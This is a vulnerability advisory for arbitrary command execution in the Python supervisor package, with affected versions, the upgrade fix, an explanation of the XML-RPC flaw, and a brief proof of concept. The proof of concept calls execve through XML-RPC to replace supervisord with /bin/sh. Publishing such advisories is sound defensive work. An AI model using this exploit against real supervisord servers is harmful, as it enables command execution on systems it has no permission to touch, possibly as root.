Arbitrary Command Execution Affecting supervisor package, versions [3.0a8,3.0.1) [3.1.0,3.1.4) [3.2.0,3.2.4) [3.3.0,3.3.3)


0.0
high
  • Exploit Maturity

    Mature

  • Attack Complexity

    Low

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • snyk-id

    SNYK-PYTHON-SUPERVISOR-40610

  • published

    8 Aug 2017

  • disclosed

    18 Jul 2017

  • credit

    Calum Hutton

How to fix?

Upgrade supervisor to version 3.0.1, 3.1.4, 3.2.4, 3.3.3 or higher.

Overview

Affected versions of this package are vulnerable to Arbitrary Command Execution. A vulnerability has been found where an authenticated client can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this may be root.

Details

  • supervisord is the server component and is responsible for starting child processes, responding to commands from clients, and other commands.
  • supervisorctl is the command line component, providing a shell-like interface to the features provided by supervisord.

supervisord can be configured to run an HTTP server on a TCP socket and/or a Unix domain socket. This HTTP server is how supervisorctl communicates with supervisord. If an HTTP server has been enabled, it will always serve both HTML pages and an XML-RPC interface. A vulnerability has been found where an authenticated client can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been configured to run an HTTP server without authentication. If authentication has not been enabled, supervisord will log a message at the critical level every time it starts.

PoC

Create a config file supervisord.conf:

[supervisord]
loglevel = trace

[inet_http_server] port = 127.0.0.1:9001

[rpcinterface:supervisor] supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface

Start supervisord in the foreground with that config file:

$ supervisord -n -c supervisord.conf

In a new terminal:

$ python2
>>> from xmlrpclib import ServerProxy
>>> server = ServerProxy('http://127.0.0.1:9001/RPC2')
>>> server.supervisor.supervisord.options.execve('/bin/sh', [], {})

If the supervisord version is vulnerable, the execve will be executed and the supervisord process will be replaced with /bin/sh (or any other command given). If the supervisord version is not vulnerable, it will return an UNKNOWN_METHOD fault.